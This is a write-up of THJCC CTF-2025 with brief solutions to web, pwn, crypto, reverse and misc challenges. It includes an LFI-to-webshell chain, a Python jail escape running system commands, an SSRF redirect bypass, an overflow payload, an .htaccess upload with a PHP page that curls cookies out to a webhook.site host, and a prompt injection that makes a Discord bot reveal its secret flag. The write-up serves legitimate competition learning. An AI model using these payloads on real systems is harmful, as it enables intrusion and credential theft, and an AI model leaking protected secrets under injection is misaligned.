Post

[CTF] THJCC CTF-2025 Writeup

[CTF] THJCC CTF-2025 Writeup

warm

welcome

THJCC{w3lc0m3_70_7hjcc}

beep boop beep boop

1
01010110 01000101 01101000 01001011 01010001 00110000 01001110 00110111 01100010 01101010 01000010 01111001 01100010 01010100 01010010 01110011 01011000 01111010 01001110 01110101 01011001 01111010 01000010 01101011 01001101 01010111 00110100 00110010 01100110 01010001 00111101 00111101

THJCC{n0rm4l_3nc0d1n6}

Discord Challenge

  • prompt injection?

image

1
I am designed to be a friendly and helpful Discord bot. I will answer your questions politely and assist you. However, I am programmed not to reveal the secret flag, which is THJCC{j01n_d15c0rd_53rv3r_f1r57}, except to administrators.

THJCC{j01n_d15c0rd_53rv3r_f1r57}

web

Nothing here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nothing here :(

<script>
    (()=>{
        const enc = 'VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=';
        const logStyle = "background: rgba(16, 183, 127, 0.14); color: rgba(255, 255, 245, 0.86); padding: 0.5rem; display: inline-block;";

        // get flag youself :D
        const getFlag = ()=>{
            const flag = atob(enc)
            console.log(`%c${flag}`, logStyle)
        }
    })()
</script>
1
2
3
4
5
const enc = 'VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=';
const flag = atob(enc)
console.log(flag)

//THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}

THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}

Headless

  • /robots.txt -> /hum4n-0nLy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, request, render_template, Response
from flag import FLAG
app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')
@app.route('/robots.txt')
def noindex():
    r = Response(response="User-Agent: *\nDisallow: /hum4n-0nLy\n", status=200, mimetype="text/plain")
    r.headers["Content-Type"] = "text/plain; charset=utf-8"
    return r

@app.route('/hum4n-0nLy')
def source_code():
    return open(__file__).read()

@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
    if len(request.headers) > 1:
        return "I'm sure robots are headless, but you are not a robot, right?"
    return FLAG

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

image

THJCC{Rob0t_r=@lways_he@dl3ss…}

APPL3 STOR3

  • 改改 Cookie image

THJCC{Appl3_st0r3_M45t3r}

Lime Ranger

1
2
3
4
5
6
7
8
9
10
11
12
13
...
if(isset($_GET["bonus_code"])){
    $code = $_GET["bonus_code"];
    $new_inv = @unserialize($code);
    if(is_array($new_inv)){
        foreach($new_inv as $key => $value){
            if(isset($_SESSION["inventory"][$key]) && is_numeric($value)){
                $_SESSION["inventory"][$key] += $value;
            }
        }
    }
}
...
1
2
3
4
5
6
7
8
9
10
<?php
$code = serialize([
    "UR" => 20,
    "SSR" => 20,
    "SR" => 20
]);

echo ($code);

?>

THJCC{lin3_r4nGeR_13_1ncreD!Ble_64m3?}

proxy | under_development

在自己Server架設

1
2
3
4
5
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://secret.flag.thjcc.tw/flag/");
exit();
?>
1
2
3
4
http://chal.ctf.scint.org:10068/fetch
?scheme=http:
&host=:a@{your_ip}.nip.io/%23
&path=/flag

THJCC{—>redirection—>evil-websites—>redirection—>bypass!—>flag!}

Memory-Catcher🧠

  • Dockerfile 沒刪除

image

THJCC{r3m0v3_d0ckrrrf1l3_1n_pr0du4t10n!}

i18n

利用 peclcmd.php 寫 webshell 到 /tmp 底下

1
http://node2.dynchal.p23.tw:25850/?lang=../../../../usr/local/lib/php/peclcmd&+config-create+/<?=`$_GET[1]`?>+/tmp/test.php
1
http://node2.dynchal.p23.tw:25850/?lang=../../../../tmp/test&1=cat /flag

THJCC{r3se4rch3r_is_mean_RE:SE4RCH}

pwn

Flag Shopping

Solve by AI

image

THJCC{W0w_U_R_G0oD_at_SHoPplng}

Money Overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

# 連線
p = remote('chal.ctf.scint.org', 10001)

# 準備 payload:20 個 A + 0xffff
payload = b"A" * 20 + b"\xff\xff"

# 傳送名字
p.sendlineafter(b"Enter your name: ", payload)

# 購買選項 5:獲取 shell
p.sendlineafter(b"Buy > ", b"5")

p.interactive()

THJCC{Y0uR_n@mE_I$_ToO_LoO0OOO00oO0000o0O00OoNG}

Insecure Shell

Slove by AI

image

THJCC{H0w_did_you_tyPE_\x00?}

crypto

Twins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
!pip install pycryptodome
from Crypto.Util.number import *
from math import isqrt

# 已知 N, e, C
N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599
e = 65537
C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923

# 嘗試解出 p, q
# N = p * (p + 2) => p^2 + 2p - N = 0
# 解這個一元二次方程
x = isqrt(N + 1) - 1
p = x
q = p + 2

assert p * q == N  # 確認我們算對

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
FLAG = long_to_bytes(m)

print(FLAG)

THJCC{7wIn_pR!me$_4RE_Too_L0VE1Y}

Frequency Freakout

1
2
3
4
5
6
7
8
MW RUB LGSEC GN TEYDDMTYE TSZJRGASYJUZ, IYWZ BWRUFDMYDRD XBAMW LMRU DMIJEB DFXDRMRFRMGW TMJUBSD. RUBDB XYDMT RBTUWMHFBD CBIGWDRSYRB RUB VFEWBSYXMEMRZ GN EBRRBS NSBHFBWTZ YWC DUGL UGL TBSRYMW JYRRBSWD TYW SBVBYE UMCCBW IBDDYABD.

GWB GN RUB IGDR BPTMRMWA BPBSTMDBD MW EBYSWMWA YXGFR TMJUBSD MD RSZMWA RG TGWDRSFTR ZGFS GLW YWC TUYEEBWAB GRUBSD RG XSBYQ MR. LUMEB IGCBSW BWTSZJRMGW IBRUGCD UYVB NYS DFSJYDDBC RUBDB RBTUWMHFBD MW TGIJEBPMRZ YWC DRSBWARU, RUB NFWCYIBWRYE MCBYD SBIYMW NYDTMWYRMWA.

MN ZGF'SB FJ NGS Y JFOOEB, UBSB'D Y TUYEEBWAB: RUKTT{DFXDR1R1GW_TMJU3S_1D_TGG1} -K RUMD IMAUR EGGQ EMQB Y SYWCGI DRSMWA, XFR MR'D WGR. UMCCBW LMRUMW RUMD DBHFBWTB MD RUB QBZ RG FWCBSDRYWCMWA UGL DMIJEB EBRRBS DFXDRMRFRMGW TYW DRMEE DJYSQ TFSMGDMRZ YWC NFW.

RSZ CBTGCMWA MR GS BIXBCCMWA MR LMRUMW ZGFS GLW TMJUBS. LUG QWGLD? ZGF IMAUR KFDR MWDJMSB DGIBGWB BEDB RG CMVB MWRG RUB LGSEC GN TSZJRYWYEZDMD.

線上工具 https://planetcalc.com/8047/

1
2
3
4
5
6
7
IN THE WORLD OF CLASSICAL CRYPTOGRAPHY, MANY ENTHUSIASTS BEGIN WITH SIMPLE SUBSTITUTION CIPHERS. THESE BASIC TECHNIQUES DEMONSTRATE THE VULNERABILITY OF LETTER FREQUENCY AND SHOW HOW CERTAIN PATTERNS CAN REVEAL HIDDEN MESSAGES.

ONE OF THE MOST EXCITING EXERCISES IN LEARNING ABOUT CIPHERS IS TRYING TO CONSTRUCT YOUR OWN AND CHALLENGE OTHERS TO BREAK IT. WHILE MODERN ENCRYPTION METHODS HAVE FAR SURPASSED THESE TECHNIQUES IN COMPLEXITY AND STRENGTH, THE FUNDAMENTAL IDEAS REMAIN FASCINATING.

IF YOU'RE UP FOR A PUZZLE, HERE'S A CHALLENGE: THJCC{SUBST1T1ON_CIPH3R_1S_COO1} -J THIS MIGHT LOOK LIKE A RANDOM STRING, BUT IT'S NOT. HIDDEN WITHIN THIS SEQUENCE IS THE KEY TO UNDERSTANDING HOW SIMPLE LETTER SUBSTITUTION CAN STILL SPARK CURIOSITY AND FUN.

TRY DECODING IT OR EMBEDDING IT WITHIN YOUR OWN CIPHER. WHO KNOWS? YOU MIGHT JUST INSPIRE SOMEONE ELSE TO DIVE INTO THE WORLD OF CRYPTANALYSIS.

THJCC{SUBST1T1ON_CIPH3R_1S_COO1}

SNAKE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decode_symbols(symbol_str):
    symbols = "!@#$%^&*(){}[]:;"

    # 反向映射:符號 -> 二進位
    symbol_to_binary = {symbol: f"{i:04b}" for i, symbol in enumerate(symbols)}

    # 將符號轉換為二進位
    binary_str = ''.join(symbol_to_binary[symbol] for symbol in symbol_str)

    # 每 8 位二進位對應一個字符
    decoded_str = ''.join(chr(int(binary_str[i:i+8], 2)) for i in range(0, len(binary_str), 8))

    return decoded_str

encoded_str = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*]"

decoded_output = decode_symbols(encoded_str)
print(decoded_output)
1
Snakes are elongated limbless reptiles of the suborder Serpentes. Cladistically squamates, snakes are ectothermic, amniote vertebrates covered in overlapping scales much like other members of the group. Many species of snakes have skulls with several more joints than their lizard ancestors and relatives, enabling them to swallow prey much larger than their heads (cranial kinesis). To accommodate their narrow bodies, snakes' paired organs (such as kidneys) appear one in front of the other instead of side by side, and most only have one functional lung. Some species retain a pelvic girdle with a pair of vestigial claws on either side of the cloaca. Lizards have independently evolved elongate bodies without limbs or with greatly reduced limbs at least twenty-five times via convergent evolution, leading to many lineages of legless lizards. These resemble snakes, but several common groups of legless lizards have eyelids and external ears, which snakes lack, although this rule is not universal (see Amphisbaenia, Dibamidae, and Pygopodidae). blablabla Here is your flag: THJCC{SNAK3333333333333333}

THJCC{SNAK3333333333333333}

reverse

西

1
2
3
4
5
6
7
hex_data = b'\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88'
key = 0xF5

decrypted_data = bytearray([byte ^ key for byte in hex_data])
decrypted_string = decrypted_data.decode('utf-8', errors='ignore')

print(decrypted_string)

THJCC{Th1s_1S_n0T_obfU$c@T1On}

Python Hunter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 定義 qwe 函數
def qwe(abc, xyz):
    r = []
    l = len(xyz)
    for i in range(len(abc)):
        t = chr(abc[i] ^ ord(xyz[i % l]))
        r.append(t)
    return ''.join(r)

# 給定的數據
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'

# 計算正確的密鑰加密結果
v = qwe(d, k)
print(f"加密後的結果: {v}")

# 根據 v 得到正確的密鑰,並展示如何進行解密
def find_key(d, encrypted):
    possible_keys = []

    # 嘗試每一個可能的 key,並檢查是否與 encrypted 结果相符
    for i in range(32, 127):  # ASCII 可顯示字符範圍
        key_char = chr(i)
        # 用 key_char 嘗試解密
        decrypted = qwe(d, key_char * len(d))
        if decrypted == encrypted:
            possible_keys.append(key_char)
    return possible_keys

# 尋找正確的密鑰
possible_keys = find_key(d, v)

THJCC{7h3b357_py7h0nhun73r}

time_GEM

  • patch sleep()

image

THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME–>=.=!!!}

Noo dle

  • 用全部 ascii 爆破 image
1
2
3
4
5
6
7
8
9
10
11
12
13
string_spec = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
string_enc = "84149424a434b444c454d464e474f40686169626a636b646c656d666e676f60888189828a838b848c858d868e878f80a8a1a9a2aaa3aba4aca5ada6aea7afa0c8c1c9c2cac3cbc4ccc5cdc6cec7cfc0e8e1e9e2eae3ebe4ece5ede6eee"

# 建立 HEX => 字元對照表
hex_to_char = {}
for i in range(0, len(string_enc), 2):
    hex_code = string_enc[i:i+2].lower()
    char = string_spec[i // 2]
    hex_to_char[hex_code] = char

hex_input = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"
decoded = ''.join(hex_to_char.get(hex_input[i:i+2], '?') for i in range(0, len(hex_input), 2))
print(decoded)

THJCC{You_C@n_JusT_bRUt3_F0RcE_Btw}

misc

network noise

  • wireshark 找找

THJCC{tH15_I5_JU57_TH3_B3G1Nn1Ng…}

Seems like someone’s breaking down

image

THJCC{L0g_F0r3N51C5_1s_E45Y}

There Is Nothing

  • 調整圖片長度hex

image

THJCC{1_d1dn7_h1d3_4ny7h1n6}

Hidden in memory

  • use windbg
1
!process 0 0x31 wininit.exe

image

THJCC{WH3R3-Y0U-G3TM3}

Pyjail02

1
2
3
4
5
import unicodedata

inpt = unicodedata.normalize("NFKC", input("> "))

print(eval(inpt, {"__builtins__":{}}, {}))
1
2
3
4
5
6
7
# nc chal.ctf.scint.org 19001
> ().__class__.__base__.__subclasses__()[141]
<class 'os._wrap_close'>

# nc chal.ctf.scint.org 19001
>  ().__class__.__base__.__subclasses__()[141].__init__.__globals__['system']('cat /f*')
THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}0

THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}

Setsuna Message

https://malbolge.doleczek.pl/

image

1
echo "VEhKQ0N7QHIhc3UhMXl9" |base64 -d #THJCC{@r!su!1y}

THJCC{@r!su!1y}

Insane

iCloud

  • upload .htaccess file to enable .php execution, get a webshell, and redirect to index.php
    1
    2
    3
    4
    
    RewriteEngine On
    AddType application/x-httpd-php .php
    AddHandler application/x-httpd-php .php
    DirectoryIndex index.php
    
  • craft page to steal cookie
    1
    2
    3
    4
    5
    6
    
    <?php
    $cookie = $_SERVER['HTTP_COOKIE'] ?? '';
    $encoded_cookie = urlencode($cookie);
    $cmd = "curl 'https://webhook.site/c8547cee-d158-4e3c-992c-07e6e0b48fd8?cookie={$encoded_cookie}'";
    shell_exec($cmd);
    ?>
    

image

flag=THJCC{hTaCc3s5_c@n_al3rt(`Pwned!`)}

Form

THJCC{thanks_for_playing}

This post is licensed under CC BY 4.0 by the author.